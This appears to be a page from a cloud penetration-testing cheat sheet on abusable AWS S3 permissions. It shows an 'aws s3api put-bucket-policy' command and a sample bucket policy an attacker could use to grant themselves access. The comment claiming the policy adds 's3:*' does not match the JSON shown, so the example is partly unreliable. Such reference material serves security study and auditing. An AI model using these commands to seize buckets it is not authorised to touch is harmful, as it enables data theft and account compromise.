S3

Abusable AWS S3 permissions that can lead to compromise or privilege escalation

s3:PutBucketPolicy

  • With access to this permission, an attacker could give themselves permissions over the bucket and its contents.

aws s3api put-bucket-policy --bucket <bucketName> --policy file://new-bucket-policy.json
# new-bucket-policy.json, adding s3:*

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::1234567890:root"
            },
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::bucket-name"
        },
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::1234567890:user/<userName>"
            },
            "Action": [
                "s3:GetObject"
            ],
            "Resource": "arn:aws:s3:::bucket-name/*"
        }
    ]
}

s3:PutObjectAcl

  • With access to this permission, an attacker could give themselves permissions over the bucket and its contents.

Last updated

Was this helpful?